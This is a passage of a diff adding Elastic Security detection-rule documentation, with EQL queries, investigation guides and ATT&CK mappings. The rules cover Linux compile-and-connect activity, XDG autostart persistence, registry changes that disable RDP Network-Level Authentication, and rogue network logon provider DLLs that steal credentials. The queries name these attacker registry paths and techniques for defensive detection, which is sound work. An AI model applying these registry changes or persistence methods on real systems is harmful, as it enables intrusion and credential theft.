scheduled tasks. +- Remove any malicious executables or scripts identified during the investigation from the system to prevent re-execution. +- Reset credentials for any accounts that may have been compromised, focusing on those with elevated privileges. +- Update and patch the affected system to close any vulnerabilities that may have been exploited by the attacker. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1m + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.name like~ ( + "gcc*", "g++*", "c++", "cc", "c99", "c89", "cc1*", "cc1plus*", "clang*", "clang++*", + "musl-gcc", "musl-clang", "*-linux-gnu-gcc*", "*-linux-gnu-g++*", "*-pc-linux-gnu-gcc*", + "tcc", "zig", "ccache", "distcc" + )] by process.args + [file where host.os.type == "linux" and event.action == "creation" and process.name like~ ( + "ld", "ld.*", "lld", "ld.lld", "mold", "collect2", "*-linux-gnu-ld*", "*-pc-linux-gnu-ld*" + )] by file.name + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec"] by process.name + [network where host.os.type == "linux" and event.action == "connection_attempted" and destination.ip != null and not ( + cidrmatch(destination.ip, "127.0.0.0/8", "169.254.0.0/16", "224.0.0.0/4", "::1") or + process.name in ( + "simpleX", "conftest", "ssh", "python", "ispnull", "pvtui", "npreal2d", "ruby", "source", "ssh", "git-remote-http", + "sshd-session", "gendb", "sqlplus" + ) + )] by process.name + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-connections-initiated-through-xdg-autostart-entry.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-connections-initiated-through-xdg-autostart-entry.asciidoc new file mode 100644 index 0000000000..693522cf69 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-connections-initiated-through-xdg-autostart-entry.asciidoc @@ -0,0 +1,208 @@ +[[prebuilt-rule-8-19-20-network-connections-initiated-through-xdg-autostart-entry]] +=== Network Connections Initiated Through XDG Autostart Entry + +Detects network connections initiated through Cross-Desktop Group (XDG) autostart entries for GNOME and XFCE-based Linux distributions. XDG Autostart entries can be used to execute arbitrary commands or scripts when a user logs in. This rule helps to identify potential malicious activity where an attacker may have modified XDG autostart scripts to establish persistence on the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html +* https://hadess.io/the-art-of-linux-persistence/ +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Network Connections Initiated Through XDG Autostart Entry* + + +XDG Autostart entries are used in GNOME and XFCE Linux environments to automatically execute scripts or applications upon user login, facilitating user convenience. However, adversaries can exploit this feature to maintain persistence by modifying these entries to initiate unauthorized network connections. The detection rule identifies such malicious activity by monitoring processes linked to XDG autostart and subsequent suspicious network connections, excluding known benign processes and internal IP ranges. + + +*Possible investigation steps* + + +- Review the process details from the alert, focusing on the process.entity_id and process.executable fields to identify the specific application or script that was executed through the XDG autostart entry. +- Examine the parent process information, particularly the process.parent.executable field, to confirm if the process was initiated by a legitimate session manager like /usr/bin/xfce4-session. +- Investigate the network connection details, paying attention to the destination.ip field to determine if the connection was attempted to an external or suspicious IP address not covered by the internal IP ranges specified in the query. +- Check the process.args field for any unusual or unexpected command-line arguments that might indicate malicious intent or unauthorized modifications to the autostart entry. +- Correlate the alert with other security events or logs from the same host.id to identify any additional suspicious activities or patterns that might suggest a broader compromise or persistence mechanism. +- Validate the legitimacy of the process.executable by comparing it against known benign applications listed in the query, such as /usr/lib64/firefox/firefox, to rule out false positives. + + +*False positive analysis* + + +- Network connections from legitimate applications like Firefox or FortiClient may trigger false positives. To handle this, add these applications to the exclusion list in the detection rule. +- Internal network traffic within known safe IP ranges can be mistakenly flagged. Ensure these IP ranges are included in the exclusion criteria to prevent unnecessary alerts. +- Custom scripts or applications that are part of the user's normal login process might be misidentified. Review and whitelist these processes if they are verified as non-threatening. +- Regular updates or maintenance tasks that initiate network connections during login can cause false alerts. Identify these tasks and adjust the rule to exclude them if they are part of routine operations. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized network connections and potential lateral movement. +- Terminate any suspicious processes identified as being initiated through XDG autostart entries to halt any ongoing malicious activity. +- Review and remove any unauthorized or suspicious XDG autostart entries to eliminate persistence mechanisms established by the attacker. +- Conduct a thorough scan of the affected system for additional indicators of compromise, such as unauthorized user accounts or modified system files, to ensure comprehensive remediation. +- Restore any altered system configurations or files from a known good backup to ensure system integrity and functionality. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems may be affected. +- Implement enhanced monitoring and logging for XDG autostart entries and network connections to detect similar threats in the future and improve overall security posture. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +*Custom Ingest Pipeline* + +For versions <8.2, you need to add a custom ingest pipeline to populate `event.ingested` with @timestamp for non-elastic-agent indexes, like auditbeats/filebeat/winlogbeat etc. For more details to add a custom ingest pipeline refer to the https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=1s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + (process.parent.executable == "/usr/bin/xfce4-session") or + (process.executable == "/bin/sh" and process.args == "-e" and process.args == "-u" and + process.args == "-c" and process.args : "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$;*") + ) + ] + [network where host.os.type == "linux" and event.type == "start" and event.action == "connection_attempted" and not ( + destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8", "172.31.0.0/16" + ) or + process.name in ( + "telegram-desktop", "firefox", "gnome-calculator", "remmina", "spotify", "librewolf", "fortitraylauncher", + "flameshot", "thunderbird", "update-manager", "warp-terminal", "obs", "transmission-gtk", "telegram", + "mintupdate-launcher", "firefox-bin", "xbrlapi", "gnome-software" + ) + ) + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: XDG Autostart Entries +** ID: T1547.013 +** Reference URL: https://attack.mitre.org/techniques/T1547/013/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-level-authentication-nla-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-level-authentication-nla-disabled.asciidoc new file mode 100644 index 0000000000..69149495ce --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-level-authentication-nla-disabled.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-20-network-level-authentication-nla-disabled]] +=== Network-Level Authentication (NLA) Disabled + +Identifies the attempt to disable Network-Level Authentication (NLA) via registry modification. Network Level Authentication (NLA) is a feature on Windows that provides an extra layer of security for Remote Desktop (RDP) connections, as it requires users to authenticate before allowing a full RDP session. Attackers can disable NLA to enable persistence methods that require access to the Windows sign-in screen without authenticating, such as Accessibility Features persistence methods, like Sticky Keys. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2023/08/24/flax-typhoon-using-legitimate-software-to-quietly-access-taiwanese-organizations/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Data Source: Sysmon +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 208 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Network-Level Authentication (NLA) Disabled* + + +Network-Level Authentication (NLA) enhances security for Remote Desktop Protocol (RDP) by requiring user authentication before establishing a session. Adversaries may disable NLA to exploit vulnerabilities at the Windows sign-in screen, bypassing authentication for persistence tactics. The detection rule identifies registry changes that disable NLA, signaling potential unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the registry event logs to confirm the modification of the UserAuthentication value in the specified registry paths, ensuring the change was not part of a legitimate administrative action. +- Identify the user account and process responsible for the registry modification by examining the event logs for associated user and process information. +- Check for any recent Remote Desktop Protocol (RDP) connection attempts or sessions on the affected host to determine if unauthorized access was achieved following the NLA disablement. +- Investigate the timeline of the registry change to correlate with any other suspicious activities or alerts on the host, such as the execution of unusual processes or network connections. +- Assess the host for signs of persistence mechanisms, particularly those leveraging Accessibility Features like Sticky Keys, which may have been enabled following the NLA disablement. +- Evaluate the security posture of the affected system, including patch levels and existing security controls, to identify potential vulnerabilities that could have been exploited. + + +*False positive analysis* + + +- Administrative changes to RDP settings can trigger false positives when IT personnel intentionally modify registry settings for legitimate purposes. To handle this, create exceptions for known administrative activities by documenting and excluding these specific registry changes from alerts. +- Software updates or installations that modify RDP settings might be flagged as false positives. To mitigate this, maintain a list of trusted software and their expected registry changes, and configure the detection system to ignore these during update windows. +- Automated scripts or management tools that adjust RDP configurations for compliance or performance reasons can also cause false positives. Identify these tools and their expected behavior, then set up exclusions for their registry modifications to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Re-enable Network-Level Authentication (NLA) on the affected system by modifying the registry value back to its secure state, ensuring that "UserAuthentication" is set to "1" or "0x00000001". +- Conduct a thorough review of recent user activity and system logs to identify any unauthorized access or changes made during the period NLA was disabled. +- Reset passwords for all accounts that have accessed the affected system to mitigate potential credential compromise. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring on the affected system and similar endpoints to detect any further attempts to disable NLA or other suspicious activities. +- Review and update endpoint security policies to ensure that registry changes related to NLA are monitored and alerts are generated for any unauthorized modifications. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.action != "deletion" and registry.value : "UserAuthentication" and + registry.path : ( + "HKLM\\SYSTEM\\ControlSet*\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\UserAuthentication", + "\\REGISTRY\\MACHINE\\SYSTEM\\*ControlSet*\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\UserAuthentication", + "MACHINE\\SYSTEM\\*ControlSet*\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\UserAuthentication" + ) and registry.data.strings : ("0", "0x00000000") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Downgrade Attack +** ID: T1562.010 +** Reference URL: https://attack.mitre.org/techniques/T1562/010/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-logon-provider-registry-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-logon-provider-registry-modification.asciidoc new file mode 100644 index 0000000000..0df0158bfd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-logon-provider-registry-modification.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-20-network-logon-provider-registry-modification]] +=== Network Logon Provider Registry Modification + +Identifies the modification of the network logon provider registry. Adversaries may register a rogue network logon provider module for persistence and/or credential access via intercepting the authentication credentials in clear text during user logon. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy +* https://docs.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Resources: Investigation Guide + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Network Logon Provider Registry Modification* + + +Network logon providers are components in Windows responsible for handling the authentication process during a network logon. + +This rule identifies the modification of the network logon provider registry. Adversaries may register a rogue network logon provider module for persistence and/or credential access via intercepting the authentication credentials in plain text during user logon. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Examine the `registry.data.strings` field to identify the DLL registered. +- Identify the process responsible for the registry operation and the file creation and investigate their process execution chains (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. + - Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. + - Investigate any abnormal behavior by the subject process, such as network connections, DLLs loaded, registry or file modifications, and any spawned child processes. +- Retrieve the file and examine if it is signed with valid digital signatures from vendors that are supposed to implement this kind of software and approved to use in the environment. Check for prevalence in the environment and whether they are located in expected locations. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the executables of the processes using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process's `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + + +*False positive analysis* + + +- False Positives can include legitimate software installations or updates that modify the network logon provider registry. These modifications may be necessary for the proper functioning of the software and are not indicative of malicious activity. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - If malicious activity is confirmed, perform a broader investigation to identify the scope of the compromise and determine the appropriate remediation steps. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Reimage the host operating system or restore the compromised files to clean versions. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.data.strings : "?*" and registry.value : "ProviderPath" and + registry.path : ( + "HKLM\\SYSTEM\\*ControlSet*\\Services\\*\\NetworkProvider\\ProviderPath", + "\\REGISTRY\\MACHINE\\SYSTEM\\*ControlSet*\\Services\\*\\NetworkProvider\\ProviderPath" + ) and + /* Excluding default NetworkProviders RDPNP, LanmanWorkstation and webclient. */ + not ( + user.id : "S-1-5-18" and + registry.data.strings : ( + "%SystemRoot%\\System32\\ntlanman.dll", + "%SystemRoot%\\System32\\drprov.dll", + "%SystemRoot%\\System32\\davclnt.dll", + "%SystemRoot%\\System32\\vmhgfs.dll", + "?:\\Program Files (x86)\\Citrix\\ICA Client\\x64\\pnsson.dll", + "?:\\Program Files\\Dell\\SARemediation\\agent\\DellMgmtNP.dll", + "?:\\Program Files (x86)\\CheckPoint\\Endpoint Connect\\\\epcgina.dll" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Network Provider DLL +** ID: T1556.008 +** Reference URL: https://attack.mitre.org/techniques/T1556/008/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-traffic-to-rare-destination-country.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-traffic-to-rare-destination-country.asciidoc new file mode 100644 index 0000000000..0a2025026f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-traffic-to-rare-destination-country.asciidoc @@ -0,0 +1,212 @@ +[[prebuilt-rule-8-19-20-network-traffic-to-rare-destination-country]] +=== Network Traffic to Rare Destination Country + +A machine learning job detected a rare destination country name in the network logs. This can be due to initial access, persistence, command-and-control, or exfiltration activity. For example, when a user clicks on a link in a phishing email or opens a malicious document, a request may be sent to download and run a payload from a server in a country which does not normally appear in network traffic or business work-flows. Malware instances and persistence mechanisms may communicate with command-and-control (C2) infrastructure in their country of origin, which may be an unusual destination country for the source network. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Network Traffic to Rare Destination Country* + + +Machine learning models analyze network logs to identify traffic to uncommon destination countries, which may indicate malicious activities like unauthorized access or data exfiltration. Adversaries exploit this by directing traffic to servers in atypical locations, often linked to command-and-control operations. The detection rule flags such anomalies, aiding in early threat identification and response. + + +*Possible investigation steps* + + +- Review the network logs to identify the specific destination country flagged as rare and assess its historical presence in the network traffic. +- Analyze the source IP addresses and user accounts associated with the flagged traffic to determine if they are legitimate or potentially compromised. +- Investigate the nature of the traffic, such as the protocols and ports used, to identify any unusual patterns or connections to known malicious infrastructure. +- Check for any recent phishing attempts or suspicious emails that may have led to the initiation of this traffic, focusing on links or attachments that could have been used to download malicious payloads. +- Correlate the flagged traffic with any other security alerts or incidents to identify potential patterns or coordinated attacks involving the rare destination country. +- Consult threat intelligence sources to determine if the destination country or specific IP addresses are associated with known threat actors or command-and-control servers. + + +*False positive analysis* + + +- Legitimate business communications with partners or clients in rare destination countries may trigger alerts. Users should review and whitelist these known entities to prevent future false positives. +- Routine software updates or patches from international vendors might be flagged. Identify and exclude these update servers from the detection rule to avoid unnecessary alerts. +- Employees traveling abroad and accessing company resources can generate alerts. Implement a process to temporarily whitelist these destinations based on travel schedules. +- Cloud services with global data centers may route traffic through uncommon countries. Verify the service's IP ranges and exclude them if they are part of normal operations. +- Research or market expansion activities targeting new regions might cause alerts. Document and exclude these activities if they align with business objectives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Conduct a thorough scan of the isolated system for malware or unauthorized software, focusing on identifying any command-and-control (C2) communication channels. +- Block network traffic to and from the identified rare destination country at the firewall or proxy level to prevent further communication with potential malicious servers. +- Review and analyze logs from the affected system and network devices to identify any additional indicators of compromise or related suspicious activities. +- If malware is detected, remove it using appropriate tools and techniques, ensuring that all persistence mechanisms are eradicated. +- Restore the affected system from a clean backup if necessary, ensuring that all security patches and updates are applied. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Network Packet Capture + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the 